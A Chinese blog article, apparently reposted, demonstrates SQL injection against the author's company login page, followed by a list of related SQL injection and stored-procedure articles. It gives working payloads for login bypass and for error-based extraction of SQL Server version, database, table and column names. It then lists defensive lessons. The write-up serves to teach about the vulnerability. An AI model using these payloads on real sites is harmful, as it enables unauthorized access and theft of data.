sql注入实例

article/2025/9/16 21:51:23

前阵子发现公司的网站有SQL注入漏洞,向项目经理提了以后,得到的答复异常的冷淡:“早就知道,这种asp的网站肯定有漏洞,要是Asp.net的网站就没问题”,先暂不评价此说法对错,如此冷淡的反应只能说明了对SQL注入的无知,今天就通过这个实例来告诉大家SQL注入究竟有多大的危害。
 
初步注入--绕过验证,直接登录
 
公司网站登陆框如下:

sql注入实例

可以看到除了账号密码之外,还有一个公司名的输入框,根据输入框的形式不难推出SQL的写法如下:

1SELECT From Table WHERE Name='XX' and Password='YY' and Corp='ZZ';

我发现前两者都做一些检查,而第三个输入框却疏忽了,漏洞就在这里!

注入开始,在输入框中输入以下内容:

sql注入实例

用户名乱填,密码留空,这种情况下点击登录按钮后竟然成功登录了。我们看一下最终的SQL就会找到原因:

1SELECT From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=1--';

从代码可以看出,前一半单引号被闭合,后一半单引号被“--”给注释掉,中间多了一个永远成立的条件“1=1”,这就造成任何字符都能成功登录的结果。而Sql注入的危害却不仅仅是匿名登录。
 
中级注入--借助异常获取信息。
 
现在我们在第三个输入框中写入:“‘ or 1=(SELECT @@version) –”。如下:

sql注入实例

后台的SQL变成了这样:

1SELECT From Table WHERE Name='SQL inject' and Password='' and Corp='' or 1=(SELECT @@VERSION)--';

判断条件变成了 1=(SELECT @@VERSION),这个写法肯定会导致错误,但出错正是我们想要的。点击登录后,页面出现以下信息:

Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (SP3) - 10.0.5500.0 (X64) Sep 21 2011 22:45:45 Copyright (c) 1988-2008 Microsoft Corporation Developer Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) ' to data type int.
 
可怕的事情出现了,服务器的操作系统和SQL Server版本信息竟然通过错误显示出来。
 
危害扩大--获取服务器所有的库名、表名、字段名
 
接着,我们在输入框中输入如下信息:“t' or 1=(SELECT top 1 name FROM master..sysdatabases where name not in (SELECT top 0 name FROM master..sysdatabases))--”,此时发现第三个输入框有字数长度的限制,然而这种客户端的限制形同虚设,直接通过Google浏览器就能去除。

sql注入实例

点击登录,返回的信息如下:

Conversion failed when converting the nvarchar value 'master' to data type int.
 
数据库名称“master”通过异常被显示出来!依次改变上面SQL语句中的序号,就能得到服务器上所有数据库的名称。
 
接着,输入信息如下:“b' or 1=(SELECT top 1 name FROM master..sysobjects where xtype='U' and name not in (SELECT top 1 name FROM master..sysobjects where xtype='U'))--”
 
得到返回信息如下:

Conversion failed when converting the nvarchar value 'www_phpernote_article' to data type int.
 
我们得到了master数据库中的第一张表名:"www_phpernote_article”,同上,依次改变序号,可得到该库全部表名。
 
现在我们以"www_phpernote_article”表为例,尝试获取该表中所有的字段名。在输入框中输入以下代码:“b' or 1=(SELECT top 1 master..syscolumns.name FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='www_phpernote_article');”
 
于是,得到错误提示如下:

"Conversion failed when converting the nvarchar value 'xserver_name' to data type int.";

这样第一个字段名“xserver_name”就出来了,依次改变序号,就能遍历出所有的字段名。
 
最终目的--获取数据库中的数据
 
写到这里,我们已知通过SQL注入能获取全部的数据库,表,及其字段,为了防止本文完全沦为注入教程,获取数据的代码就不再描述,而这篇文章的目的也已达到,SQL注入意味着什么?意味着数据库中所有数据都能被盗取。
 
经验教训
 
关于安全性,本文可总结出一下几点:

1.对用户输入的内容要时刻保持警惕。

2.只有客户端的验证等于没有验证。

3.永远不要把服务器错误信息暴露给用户。
 
除此之外,我还要补充几点:

1.SQL注入不仅能通过输入框,还能通过Url达到目的。

2.除了服务器错误页面,还有其他办法获取到数据库信息。

3.可通过软件模拟注入行为,这种方式盗取信息的速度要比你想象中快的多。

4.漏洞跟语言平台无关,并非asp才有注入漏洞而asp.net就没有注入漏洞,一切要看设计者是否用心。


http://chatgpt.dhexx.cn/article/5yehXTOs.shtml

相关文章

SQL注入从0到1

目录 前言&#xff1a; 1.【入门】普通查询型注入&#xff1a; 1.0 实验环境&#xff1a; 1.1进行一次普通的查询&#xff1a; 1.2 进行注入得到用户信息&#xff1a; 1.2.1 执行注入&#xff1a; 1.2.2 注入语句分析&#xff1a; 1.3 整型注入与字符型注入区别&#x…

web渗透之sql注入

博主姓名&#xff1a;摆烂阳 博主主页面链接&#xff1a;传送门 新人入圈&#xff0c;希望博主的内容可以给大家带来帮助&#xff0c;有任何问题可以私信本人 摆烂阳从不摆烂滴 目录 一、前言二、实验准备三、sql注入检测方法1、数字型检测2、字符型检测3、搜索型检测和xx型检测…

SQL注入——入门篇

SQL 注入的定义 所谓SQL注入&#xff0c;就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串&#xff0c;最终达到欺骗服务器执行恶意的SQL命令。 —— [ 百度百科 ] 网页链接存在参数传递&#xff0c;后台并没有对用户的输入进行过滤&#xff0c;导致用户的…

什么是SQL注入攻击?SQL注入攻击的危害以及防护

用户打开一个输入框&#xff0c;可以输入任何内容&#xff0c;包括SQL语句。如果网站开发者&#xff0c;没有对用户输入的内容&#xff0c;进行判断和过滤&#xff0c;那么这些语句将被执行。攻击者可以在管理员毫不知情的情况下&#xff0c;对数据库服务器进行操作。 SQL注入攻…

SQL注入分类,一看你就明白了。SQL注入点/SQL注入类型/SQL注入有几种/SQL注入点分类

「作者主页」&#xff1a;士别三日wyx 「作者简介」&#xff1a;CSDN top200、阿里云博客专家、华为云享专家、网络安全领域优质创作者 SQL注入分类 一、数值型注入二、字符型注入1&#xff09;单引号字符型注入2&#xff09;双引号字符型注入3&#xff09;带有括号的注入a. 数…

什么是SQL注入?

有人的地方就有江湖&#xff0c;有数据库存在的地方就可能存在 SQL 注入漏洞。 什么是SQL 注入&#xff1f; SQL 注入是一种非常常见的数据库攻击手段&#xff0c;SQL 注入漏洞也是网络世界中最普遍的漏洞 之一。大家也许都听过某某学长通过攻击学校数据库修改自己成绩的事情…

sql注入攻击的原理(sql注入攻击防范)

SQL 注入&#xff08;SQLi&#xff09;是一种可执行恶意 SQL 语句的注入攻击。这些 SQL 语句可控制网站背后的数据库服务。攻击者可利用 SQL 漏洞绕过网站已有的安全措施。他们可绕过网站的身份认证和授权并访问整个 SQL 数据库的数据。他们也可利用 SQL 注入对数据进行增加、修…

SQL注入的一般过程

SQL注入的一般过程 概述SQL注入的步骤一道例题总结 概述 SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严&#xff0c;攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句&#xff0c;在管理员不知情的情况下实现非法操作&#xff0c;以…

细说——SQL注入

目录 SQL是什么&#xff1f;什么是SQL注入漏洞原理漏洞原因为什么会有SQL注入注⼊点可能存在的位置漏洞危害提交方法判断注入点判断字符型还是数字型sql注入绕过获取网站路径SQL 注入读写文件1. 数据库支持文件读写2. 当前用户具有文件权限3. 知道文件绝对路径 查询方式及报错盲…

什么是SQL注入

什么是sql注入&#xff1f; 既然你会来看这篇文章&#xff0c;说明你和写这篇文章时的我一样&#xff0c;是个安全小白。不管你是以何种原因想要了解“什么是sql注入”&#xff0c;我都希望这篇文章尽可能地会给你一点收获。 两个通俗的概念 SQL 注入就是指 web应用程序对用户…

SQL注入(一)—— sql手动注入实操

SQL SQL注入sql 注入的核心 SQL 手注的一般流程判断注入点 —— 第一步判断字段数 —— 第二步判断回显点 —— 第三步查询相关内容 —— 第四步判断库名判断表名判断列名查询具体信息 总结 SQL注入 SQL注入攻击是目前web应用网络攻击中最常见的手段之一&#xff0c;曾被冠以 “…

【SQL注入-01】SQL语句基础及SQL注入漏洞原理及分类

目录 1 SQL注入概述1.1 SQL注入简介1.2 SQL注入原理&#xff08;掌握&#xff09;1.3 SQL注入漏洞的危害&#xff08;掌握&#xff09; 2 SQL注入漏洞分类2.1 注入位置分类&#xff08;掌握&#xff09;2.2 注入数据类型分类&#xff08;掌握&#xff09;2.3 注入手法分类&…

SQL注入详解(全网最全,万字长文)

漏洞原因 一些概念&#xff1a; SQL&#xff1a;用于数据库中的标准数据查询语言。 web分为前端和后端&#xff0c;前端负责进行展示&#xff0c;后端负责处理来自前端的请求并提供前端展示的资源。 而数据库就是存储资源的地方。 而服务器获取数据的方法就是使用SQL语句进…

sql注入基础原理(超详细)

一、Sql注入简介 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中&#xff0c;再在后台 Sql 服务器上解析执行进行的攻击&#xff0c;它目前黑客对数据库进行攻击的最常用手段之一。 二、Web 程序三层架构 三层架构(3-tier architecture) 通常意义上就…

数据库存储过程语法

mysql 5.0存储过程学习总结 一.创建存储过程 1.基本语法&#xff1a; create procedure sp_name() begin ……… end 2.参数传递 二.调用存储过程 1.基本语法&#xff1a;call sp_name() 注意&#xff1a;存储过程名称后面必须加括号&#xff0c;哪怕该存储过程没有参数传递…

存储过程语法--变量

目录 实例演示 定义默认值并使用 定义赋值再使用 定义2变量&#xff0c;通过查询表内数据进行赋值并使用 定义变量declare 变量名 数据类型 [default 默认值];变量赋值方式一set 变量名 变量值;变量赋值方式二select 列名 into 变量名 from 表名 [where 条件]; 实例演示 定义…

mysql 5.0存储过程(包括语法,符号)

一.创建存储过程 1.基本语法&#xff1a; create procedure sp_name() begin ……… end 2.参数传递 二.调用存储过程 1.基本语法&#xff1a;call sp_name() 注意&#xff1a;存储过程名称后面必须加括号&#xff0c;哪怕该存储过程没有参数传递 三.删除存储过程 1.基本语法&a…

Oracle存储过程语法学习

Oracle存储过程&#xff1a; 1.1 第一个存储过程 --创建存储过程 create or replace procedure proc1( p_para1 varchar2, p_para2 out varchar2, p_para3 in out varchar2 )as v_name varchar2(20); begin v_name : 张三; p_para3 : v_name; …

sql存储过程语法详解

一、定义变量 使用关键字declare申明变量&#xff1a; declare 变量名 变量类型 /*简单赋值*/declare a intset a5print a/*select赋值*/declare b nvarchar(10) select b stu_name from dbo.student where stu_id6 print b/*update赋值*/declare c nvarchar(10) upd…

MySQL常用操作之创建存储过程语法详解

MySQL常用操作之创建存储过程语法详解 前言简介语法创建结构变量结构入参变量和出参变量流程控制判断(IF 语句)判断(CASE 语句)循环(LOOP 语句)循环(WHILE 语句)循环(REPEAT 语句)再次循环(ITERATE 语句) 总结参考链接 前言 场景介绍 作为一名Java搬运工&#xff0c;实际开发中…